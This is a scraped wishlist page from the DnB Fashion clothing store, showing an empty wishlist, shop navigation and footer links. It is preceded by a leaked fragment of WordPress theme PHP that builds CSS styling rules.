body.archive.content-both-sidebars .widget-area{width:' . $bs_archives_sidebars_width . '%;} body.blog.content-both-sidebars.scs-style .content-area, body.archive.content-both-sidebars.scs-style .content-area{left:' . $bs_archives_sidebars_width . '%;} body.blog.content-both-sidebars.ssc-style .content-area, body.archive.content-both-sidebars.ssc-style .content-area{left:' . $bs_archives_sidebars_width * 2 . '%;} }'; } } // If single post Both Sidebars layout. if ( 'both-sidebars' === $single_layout ) { // Both Sidebars layout single post content width. if ( ! empty( $bs_single_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-post.content-both-sidebars .content-area {width: ' . $bs_single_content_width . '%;} body.single-post.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-post.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_single_content_width . '%;} }'; } // Both Sidebars layout blog archives sidebars width. if ( ! empty( $bs_single_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-post.content-both-sidebars .widget-area{width:' . $bs_single_sidebars_width . '%;} body.single-post.content-both-sidebars.scs-style .content-area{left:' . $bs_single_sidebars_width . '%;} body.single-post.content-both-sidebars.ssc-style .content-area{left:' . $bs_single_sidebars_width * 2 . '%;} }'; } } // Single post header background color. if ( ! empty( $single_post_header_bg_color ) && '#e5e5e5' != $single_post_header_bg_color ) { $css .= '.single-post-header-wrap, .single-header-ocean-6 .blog-post-title, .single-header-ocean-7 .blog-post-title {background-color:' . $single_post_header_bg_color . ';}'; } // Single post header cover style overlay color. if ( ! empty( $single_post_cover_overlay_clr ) && '#000000b3' != $single_post_cover_overlay_clr ) { $css .= '.single-post-header-wrap .header-color-overlay {background-color:' . $single_post_cover_overlay_clr . ';}'; } // Single post header meta icon color. if ( ! empty( $single_post_meta_icon_color ) && '#000' != $single_post_meta_icon_color ) { $css .= '.ocean-single-post-header ul.meta-item li i {color:' . $single_post_meta_icon_color . ';}'; $css .= '.ocean-single-post-header ul.meta-item li .owp-icon use {stroke:' . $single_post_meta_icon_color . ';}'; } // Blog thumbnail category color. if ( ! empty( $thumbnail_category_color ) && '#13aff0' != $thumbnail_category_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-category a{color:' . $thumbnail_category_color . ';}'; } // Blog thumbnail category hover color. if ( ! empty( $thumbnail_category_hover_color ) && '#333333' != $thumbnail_category_hover_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-category a:hover{color:' . $thumbnail_category_hover_color . ';}'; } // Blog thumbnail comments color. if ( ! empty( $thumbnail_comments_color ) && '#ababab' != $thumbnail_comments_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-comments, .blog-entry.thumbnail-entry .blog-entry-comments a{color:' . $thumbnail_comments_color . ';}'; } // Blog thumbnail comments hover color. if ( ! empty( $thumbnail_comments_hover_color ) && '#13aff0' != $thumbnail_comments_hover_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-comments a:hover{color:' . $thumbnail_comments_hover_color . ';}'; } // Blog thumbnail date color. if ( ! empty( $thumbnail_date_color ) && '#ababab' != $thumbnail_date_color ) { $css .= '.blog-entry.thumbnail-entry .blog-entry-date{color:' . $thumbnail_date_color . ';}'; } // Blog infinite scroll spinners color. if ( ! empty( $infinite_scroll_spinners_color ) && '#333333' != $infinite_scroll_spinners_color ) { $css .= '.loader-ellips__dot{background-color:' . $infinite_scroll_spinners_color . ';}'; } // Title/breadcrumb position. if ( ! empty( $title_breadcrumb_position ) && 'center' != $title_breadcrumb_position ) { $css .= '.single-post .background-image-page-header .page-header-inner, .single-post .background-image-page-header .site-breadcrumbs{text-align:' . $title_breadcrumb_position . ';}'; } // Single content width. if ( ! empty( $single_content_width ) && '700' != $single_content_width ) { $css .= ' .single-post.content-max-width #wrap .thumbnail, .single-post.content-max-width #wrap .wp-block-buttons, .single-post.content-max-width #wrap .wp-block-verse, .single-post.content-max-width #wrap .entry-header, .single-post.content-max-width #wrap ul.meta, .single-post.content-max-width #wrap .entry-content p, .single-post.content-max-width #wrap .entry-content h1, .single-post.content-max-width #wrap .entry-content h2, .single-post.content-max-width #wrap .entry-content h3, .single-post.content-max-width #wrap .entry-content h4, .single-post.content-max-width #wrap .entry-content h5, .single-post.content-max-width #wrap .entry-content h6, .single-post.content-max-width #wrap .wp-block-image, .single-post.content-max-width #wrap .wp-block-gallery, .single-post.content-max-width #wrap .wp-block-video, .single-post.content-max-width #wrap .wp-block-quote, .single-post.content-max-width #wrap .wp-block-text-columns, .single-post.content-max-width #wrap .wp-block-code, .single-post.content-max-width #wrap .entry-content ul, .single-post.content-max-width #wrap .entry-content ol, .single-post.content-max-width #wrap .wp-block-cover-text, .single-post.content-max-width #wrap .wp-block-cover, .single-post.content-max-width #wrap .wp-block-columns, .single-post.content-max-width #wrap .post-tags, .single-post.content-max-width #wrap .comments-area, .single-post.content-max-width #wrap .wp-block-embed, #wrap .wp-block-separator.is-style-wide:not(.size-full){max-width:' . $single_content_width . 'px;} .single-post.content-max-width #wrap .wp-block-image.alignleft, .single-post.content-max-width #wrap .wp-block-image.alignright{max-width:' . $single_content_width / 2 . 'px;} .single-post.content-max-width #wrap .wp-block-image.alignleft{margin-left: calc( 50% - ' . $single_content_width / 2 . 'px);} .single-post.content-max-width #wrap .wp-block-image.alignright{margin-right: calc( 50% - ' . $single_content_width / 2 . 'px);} .single-post.content-max-width #wrap .wp-block-embed, .single-post.content-max-width #wrap .wp-block-verse {margin-left: auto; margin-right: auto;} '; } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* Blog CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_Blog_Customizer(); Wishlist | DnB Fashion
Skip to content
  • My Account
  • Tracking Order
  • Contact Us
Menu
  • My Account
  • Tracking Order
  • Contact Us
Facebook Twitter Google-plus Instagram Youtube
Dnb Fashion Logo
  • Shop
  • Contact Us
Menu
  • Shop
  • Contact Us
No products in the cart.
₹0.00 Cart
Dnb Fashion Logo
No products in the cart.
₹0.00 Cart

Wishlist

Your Wishlist is currently empty.

Return To Shop

Created with Fabric.js 4.2.0

Free Shipping

Created with Fabric.js 4.2.0

Best Offers

Created with Fabric.js 4.2.0

Cost Effective

Created with Fabric.js 4.2.0

Priority Support

Dnb Fashion Logo

DNB - Your Fashion Our Passion

Whatsapp Instagram Facebook Youtube
  • Privacy & Cookies
  • Terms & Conditions
  • Accessibility
  • Store Directory
  • About Us
Menu
  • Privacy & Cookies
  • Terms & Conditions
  • Accessibility
  • Store Directory
  • About Us
Close Menu
Dnb Fashion Logo
  • Shop
  • Contact Us
Menu
  • Shop
  • Contact Us
Google Play Store
Apple Store